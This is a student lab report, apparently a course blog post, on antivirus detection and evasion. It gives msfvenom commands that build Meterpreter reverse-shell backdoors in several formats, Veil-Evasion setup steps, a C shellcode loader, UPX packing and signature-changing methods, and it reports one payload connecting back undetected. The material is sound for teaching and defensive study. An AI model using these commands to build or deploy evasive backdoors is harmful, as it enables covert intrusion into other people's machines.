2019-2020-3 20175121杨波《网络对抗技术》Exp3免杀原理与实践

标签: Linux,免杀


一、恶意软件检测机制与免杀技术(Evading AV)综述

1. 恶意代码检测机制

1.1 基于特征码的检测

  • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

1.2 启发式恶意软件检测

  • 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
  • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
  • 优点:
    • 可以检测0-day恶意软件
    • 具有一定通用性
  • 缺点:
    • 实时监控系统行为,开销稍多
    • 没有基于特征码的精确度高

1.3 基于行为的恶意软件检测

  • 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

2. 免杀技术(Evading AV)综述

就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。
总体技术有:

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件

二、 实验内容

1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1.1 正确使用msf编码器

在实验二中使用msf生成了后门程序meter_backdoor.exe,然后使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描

  • 用VirusTotal扫描后结果如下:

  • 用Virscan扫描后结果如下:

通过VirusTotal的扫描结果我们直到不加任何处理的后门程序能够被大多数杀软检测到,下面我们使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

  • 一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中为了使\x00'不出现在shellcode中,因为shellcode以\x00'为结束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded1.exe
  • 如图所示:

  • 使用VirusTotal检测Shellcode

  • 十次编码:使用-i设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.196.133 LPORT=5121 -f exe > encoded10.exe
  • 如图所示:

  • 使用VirusTotal检测Shellcode

  • 使用Virscan检测Shellcode

可见多次编码对于免杀没有太大的帮助,主要有两点原因:

  • shikata_ga_nai总会有解码部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。
  • msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。

2.1.2 msfvenom生成jar文件

  • 生成java后门程序:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5121 x> meter_backdoor_java.jar

  • 使用VirusTotal检测jar文件

2.1.3 mfsvenom生成php文件

  • 生成PHP后门程序使用
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5121 x> meter_backdoor.php

  • 使用VirusTotal检测php文件

  • 使用Virscan检测Shellcode

php后门可绕过绝大多数杀软,将其放到windows10下杀软也无反应

2.1.4 mfsvenom生成Android文件

  • 生成Android后门程序
    msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.196.133 lport=5121 x> Android_backdoor.apk

  • 使用VirusTotal检测文件

  • 使用Virscan检测文件

2. 使用veil-evasion生成后门程序及检测

参考kali之veil-evasion免杀安装找不到wine32包-亲测解决方案Kali Linux 64位架构安装Veil-Evasion,成功安装好veil

  • 输入veil指令,进入如下页面

  • 输入命令use evasion进入veil-evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP:set LHOST 192.168.196.133(此处为KaliIP),端口:set LPORT 5121

  • 输入指令generate生成文件,接着输入想取的payload的名字:veil_c_5121,如图所示,生成文件语言为C语言文件,有效载荷模块为TCP反弹型,保存路径为:/var/lib/veil/output/compiled/veil_c_5121.exe

  • 使用VirusTotal检测文件

  • 使用Virscan检测文件

3. 使用shellcode编程

  • 使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5121 -f c生成一段shellcode

  • 创建一个文件20175121.c,然后将shellcode中的unsigned char buf[]赋值到其中,代码内容如下:
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
........
........
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}

  • 输入指令i686-w64-mingw32-g++ 20175121.c -o 20175121.exe,将此文件编译为可执行文件

  • 使用VirusTotal检测文件

  • 将其放入Windows上时被Windows defener检测出

4. 加壳工具

  • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。

  • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。

  • 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。

  • MSF的编码器使用类似方法,对shellcode进行再编码。

--

从技术上分壳分为:

  • 压缩壳
    • 减少应用体积,如ASPack,UPX
  • 加密壳
    • 版权保护,反跟踪。如ASProtect,Armadillo
  • 虚拟机
    • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

5. 使用压缩壳:UPX

  • 给之前的20175121.exe加个壳,使用指令upx 20175121.exe -o yb.upxed.exe

  • 使用VirusTotal检测加壳文件

  • 使用Virscan检测加壳文件

  • 将其复制到Windows上时被windows defener检测出

  • 对veil生成的后门veil_c_5121.exe加壳,使用指令upx veil_c_5121.exe -o veil_c_shell5121.exe

  • 使用VirusTotal检测加壳文件

  • 使用Virscan检测加壳文件

6. base64+hex加密

这是使用了k8的方法:Python免杀shellcode加载器,k8的工具scrun不仅提供了加载python代码,还能加载C#。

  • 本方法中使用的所有文件的百度网盘链接,提取码:xlbf工具下载
  • 先用msfvenom生成一个c格式的shellcode
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.196.133 lport=5121 -f c -o shell.c

  • 然后使用k8飞刀将把shellcode转成hex

  • 使用VirusTotal检测ScRunBase64.py

  • 使用Virscan检测ScRunBase64.py

  • 然而将其转到Windows下时还是被检测出来

7. 通过组合应用各种技术实现恶意代码免杀

使用一个Veil-Evasion的其他荷载生成后门方式

  • 启动veil,输入use evasion进入evasion,输入list查看可用的有效荷载

  • 我选择第31个荷载,是Python下shellcode在base64编码的一种

  • 输入option,查看有效荷载的选项

  • 在这个界面,我们可以对该payload进行一些基本的配置,例如编译后生成文件的格式有效期,并是否进行加密等
  • 这里只配置了一下用户名set USERNAME yb,之后输入generate生成,步骤如下
    • 之后它会提示你输入想要选择的shellcode平台,选择2-msfvenom,一会儿我们用msfconsole进行反弹连接.
    • 默认,输入回车
    • 输入metasploit荷载,同上回车
    • 输入反弹连接IP(linux的IP)和端口号
    • 其他msfvenom选项默认,回车

  • 输入创建的shellocode的名字,这里是veil_py_base64
  • 生成的文件类型选择2,生成一个exe文件

  • exe文件已经生成setup.pyrunme.bat,在/var/lib/veil/output/source/中
  • 同时新生成的 shellcode 的rc文件也被保存在了/var/lib/veil/output/handlers/,打开查看后,在msfconsole中输入指令cat veil_py_base64.rc

  • 使用VirusTotal检测setup.py和runme.bat

  • 使用Virscan检测setup.py和runme.bat

  • 将其放入Windows下杀软未检测出

  • 将其放入Windows下杀软未检测出,输入msfconsole进入msf控制台,输入use exploit/multi/handler使用监听模块,设置好payload
  • msf中正常上线,使用dir命令发现是这个文件见,免杀成功

8. 用另一台电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 另一台电脑用到是Windows7,自带的defener

三、 基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 杀毒软件(AV)是一个较大规模安全防护策略的重要组成部分,能够减缓恶意软件在互联网上的传播速度,保护用户主机。
  • 特征库举例:首先对已经有过的恶意代码建立特征库,对其特征码进行匹配检测,若匹配成功,则为恶意代码需进行防范。
  • 因此有些新型恶意代码则更容易绕过杀软,在被检测出之前,可能有部分用户会被感染,因此需要及时更新恶意代码特征库。
  • 启发式恶意软件检测:根据些片面特征去推断。通常是因为缺乏精确判定依据。
  • 基于行为的恶意软件检测:监控该代码的行为,看是否有恶意行为,或正在做与恶意代码所做的事情相同,威胁到主机安全,则极有可能为恶意代码。

(2)免杀是做什么?

  • 通过一些手段使恶意代码让杀毒软件无法查杀,这就是免杀。
  • 免杀技术的分类
    免杀技术分为文件免杀、内存免杀、行为免杀,加壳免杀、加花免杀、修改特征码免杀
  • 加壳免杀
    为了防止被杀毒软件反跟踪查杀和被跟踪调试,同时也防止算法程序被别人静态分析。最基本的隐藏:不可见窗体+隐藏文件。壳又分为压缩壳和加密壳。压缩壳一般压缩加壳程序,通常压缩后的文件大小只有原来的50%-70%但不影响程序的正常使用和所有功能。加密壳是用上了各种反跟踪技术保护程序不被调试、脱壳等,其加壳后的体积大小不是其考虑的主要因素。
  • 加花免杀
    什么是花指令?实际上,把它按照“乱指令”来理解可能更贴切、
    就是故意将错误的机器指令放在了错误的位置,那反汇编时,就有可能连同后面的数据一起错误地反汇编出来,这样,我们看到的就可能是一个错误的反汇编代码。这就是“花指令”,简而言之,花指令是利用了反汇编时单纯根据机器指令字来决定反汇编结果的漏洞。
  • 修改特征码免杀、
    因为杀毒软件查杀就是自己的病毒库和木马的特征码对比,如果相同的话就判断它是木马,当然我们只要改掉这些代码就可以免杀了。这就是修改特征码免杀。

(3)免杀的基本方法有哪些?

  • 方法一:直接修改特征码的十六进制法
    1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制.
    2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能
    否正常使用.
  • 方法二:修改字符串大小写法
    1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了.
    2.适用范围:特征码所对应的内容必需是字符串,否则不能成功.
  • 方法三:等价替换法
    1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令.
    2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等.
    如果和我一样对汇编不懂的可以去查查8080汇编手册.
  • 方法四:指令顺序调换法
    1.修改方法:把具有特征码的代码顺序互换一下.
    2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行
  • 方法五:通用跳转法
    1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行.
    2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法.

四、 实验体会

在做实验之前,我一直认为免杀对于我们这些刚刚接触网络对抗的新手来说是一个十分遥远的话题,以自己的水平和能力,很难把一个木马进行免杀。通过这次实验,我了解了杀软识别恶意代码的一些基本原理,从原理上知道了免杀的方法。在实验过程中也遇到了各种各样的问题,如刚开始安装veil的时候总是有一些包无法现在,通过查询更新源之后解决了这个问题。还有在制作免杀软件的时候杀软总是能把我用各种方式制作出了的程序检测出来,使得我一度很怀疑能否做出绕过杀软的程序,最终通过各种尝试还是成功了一次。当然,对应免杀这门很深学问我才刚刚入门,许多东西都还没了解,仍需继续学习这方面的知识。

posted @ 2020-03-27 22:36  20175121杨波  阅读(275)  评论(0编辑  收藏